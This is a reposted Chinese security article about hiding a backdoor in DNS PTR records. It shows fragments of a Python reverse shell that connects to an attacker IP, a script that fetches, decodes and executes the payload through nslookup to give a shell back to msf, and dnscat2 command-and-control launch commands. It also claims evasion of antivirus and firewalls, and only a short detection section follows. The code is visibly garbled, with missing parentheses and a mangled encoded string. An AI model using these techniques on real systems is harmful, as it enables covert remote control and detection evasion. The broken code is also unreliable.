*作者:rotgrass,本文属于FreeBuf原创获奖方案,未经许可禁止转载。

前言

利用DNS隧道技术可以有效的交换数据,当然也可以利用DNS隧道技术做后门。

0×00背景

要了解DNS后门,首先要了解DNS协议。DNS解析过程这里不详述,只提一点:DNS解析中的PTR记录,与A记录相反,将IP地址解析为域名。如下图,如果此时从这个域名系统服务器请求1.1.1.100的PTR记录,反向解析的域名是test.com。

有必要了解PTR记录的两个特征:

1.不区分大小写。在PTR记录中,如果DNS服务器上的主机名包含大写,那么DNS解析的结果会全部转换为小写。因此,域名不区分大小写。

2.格式不确定。普通域名至少需要一个后缀,不能出现除“-”以外的特殊符号。但是写PTR记录的时候,可以选择任何格式,也可以看到"!@#$%^&;*_+=/?& lt& gt”甚至空,只过滤反斜杠“”。

不仅是PTR记录,其他记录,比如TXT记录、MX记录,都可以达到类似的效果。即使存储的内容没有字符和长度限制,但配置方法略有不同。

0×01门的第一瞥

我们已经知道,DNS中的PTR记录几乎可以存储我们想要的任何东西。接下来我们来说说使用DNS后门的设计思路。我们可以把有效载荷放在PTR记录中,映射IP和域名。只要被攻击主机上的DNS协议反向解析IP,就会收到有效载荷。最重要的一点是,大部分防火墙、入侵检测系统、态势感知系统都不审核DNS协议,所以这个流量几乎不可能拦截;而且这个paylaod不会保存在文件里,而是保存在内存里,也可以绕过本地杀。

模拟一个场景,在DNS服务器上创建几条PTR记录,将一个有效载荷拆分成三部分,因为域名有长度限制,不能完全放进去,拆分后可以有效避免被检查。然后将1.1.1.1-1.1.1.3的IP分别映射到这三个有效载荷。

只要你向这个DNS服务器请求这三个IP的反向解析,就可以收到这个负载。

我们来看一个例子。有一个简短的python shell脚本:

import socket,subprocess,os s=socket.socket s.connect)os.dup2,0) os.dup2,1) os.dup2,2) p=subprocess.call

病毒Total用于测试,成功通过了所有厂商的秒杀。相比之下,同样功能的可执行文件被杀死的概率要高得多。

这里我只截取以下部分作为测试。连接的目的地址是攻击者的IP和端口号。

import socket s = socket . sockets . connect)

下一步是将这个有效载荷放入DNS服务器中的PTR记录中。为了方便起见,它用base64编码。因为编码的字符中有大写,所以提到所有的PTR解析结果都是小写的,所以再次用ASCII编码。最后的结果是:

u 0061 u 0057 u 0031 u 0077 u 0062 u 0033 u 004 a u 0030 u 0049 u 0048 u 004e u 0076 u 0059 u 0032 u 0074 u 006 c u 0064 u 0043 u 0078 u 007 a u 0064 u 00064

在DNS服务器上创建PTR记录,拆分最后编码的净荷,全部存储,建立IP和净荷的反向解析。

最后,只要你在被攻击主机上请求对这些IP地址进行DNS反向解析,就可以得到完整的有效载荷。我写了一个简单的python脚本来完成这个操作。可以获得、组合、解码和执行所有分段的有效载荷。192.168.101.144是DNS服务器的地址。

import os payload='' ip=raw_input 'count=raw_input for i in range+1):domain = IP+strp = OS . popenRES = p . read。分割if RES= = " xb7 xfe xce xf1 xc6 xf7:UNknown ":del RESpayload _ raw = RES。拆分。strip净荷+=净荷_原始净荷=净荷. replace.decode有效负载='''python -c "exec" ' ' ' OS . popen

执行此脚本时,您需要输入IP网段和编号。

IP网段的格式为“x.x.x”,是在DNS服务器上建立PTR协议的IP网段。该数字是PTR记录的数量,即有效载荷被分割后的数量。在这个测试中,网段是“1.1.1”号码是11。

脚本会调用nslookup命令获取PTR协议中的有效载荷,解码执行,在攻击者的主机上运行msf,监听对应的端口,然后接收一个弹回的shell。

使用wireshark捕获数据包,传输有效载荷的过程完全通过DNS协议进行。分段有效负载放在域名字段中,但没有反斜杠“”。如前所述,反斜杠被过滤掉了。

还可以看到发送连接的TCP数据包,目的地址是攻击者的IP。

问题随之而来。虽然在净荷传输过程中使用了DNS协议,可以避免大部分检测,但是在玩shell的时候使用TCP协议建立连接,非常容易被AF等防护设备监控,在被攻击主机上使用TCPView等工具可以快速找到连接。

0×02深度分析

由于使用TCP协议进行检测的可能性非常高,所以使用无连接UDP协议进行信息交换的隐蔽性强得多,DNS协议是一个很好的选择。下图显示了该场景。攻击者通过DNS协议将命令发送给攻击者,攻击者主机上的后门程序接收命令并执行相应的操作。有些操作需要响应,也可以通过DNS协议发送。这样可以很好的绕过安全防护设备;如果不修改注册表等敏感操作,本地软件不会拦截,因为它只发送大量DNS解析请求。

缺点是文件传输速度慢,因为数据需要先写入缓存,再读取,很难发送大量数据。而且由于UDP协议的不可靠性,尤其是在网络环境较差的情况下,响应的完整性会受到很大影响。

Dnscat2就是这样一个使用DNS协议进行数据传输的C&。c工具。采用C/S架构,客户端有Windows和Linux两个版本,服务器端只能在Linux上运行。客户端位于受控主机,服务器位于控制端。

Windows系统客户端的启动命令如下,服务器是控制端的IP。

dnscat2-v0.07-client-win32.exe-DNS服务器=x.x.x.x

Ruby需要安装在服务器端,启动命令是:

露比。/dnscat2.rb

连接成功后的效果如下

客户端:

服务器端:

服务器端的使用方法类似于msf,每个连接都是一个窗口,使用window -i命令可以进入对应的窗口,所有功能都是通过help命令列出的

清除延迟下载echo exec帮助监听ping退出设置shell关闭挂起隧道取消设置上传窗口窗口

Cmd shell可以通过使用shell和sission命令获得:

可以执行Cmd命令:

抓取并分析过程中的数据包。所有数据都遵循DNS协议,每个请求都有一个响应。数据中有一个明显的特征“dnscat”字段;分析记录有三种:MX,TXT,CHAME,混合;因为dnscat2默认加密数据,所以从数据包中看不到命令执行的原始数据。

不幸的是,这个软件会被大多数厂商标记为恶意软件。如果真的用dnscat2做后门,会被杀死,马上被检测出来。所以dnscat2只是作为思考的参考,使用自己的脚本是最好的选择。

以上利用是最简单的直接连接。在复杂的现实环境中,需要根据不同的情况改变后门的工作模式,以达到最佳的效果。

0×03检测

关于DNS检测有一些想法:

1.在后门传输数据时,会有大量的流量交互,尤其是对于DNS后门,会产生大量的DNS协议数据,这些域名具有鲜明的特点。可以通过流量过滤来检测。

检测DNS流量的大小,当某段时间有大量DNS流量时,要分析数据的具体内容。一些未加密的数据会有明显的命令执行或其他数据传输,加密后的数据会具有域名长、域名非法的特点。

2.使用DNS的缓存机制。DNS解析后,主机会将解析结果保存在缓存中一段时间。如果在此期间有相同的解析需求,它将直接从缓存中读取,而不会向DNS服务器提出解析请求。

使用DNS后门进行数据传输会产生大量的解析请求和响应,在一定时间内会记录在DNS缓存中。您可以使用ipconfig /display读取缓存并过滤其中的异常数据。

https://github.com/iagox86/dnscat2

*作者:rotgrass,本文属于FreeBuf原创获奖方案,未经许可禁止转载。

1.《dns检测 DNS后门及其检测》援引自互联网,旨在传递更多网络信息知识,仅代表作者本人观点,与本网站无关,侵删请联系页脚下方联系方式。

2.《dns检测 DNS后门及其检测》仅供读者参考,本网站未对该内容进行证实,对其原创性、真实性、完整性、及时性不作任何保证。

3.文章转载时请保留本站内容来源地址,https://www.lu-xu.com/fangchan/1670143.html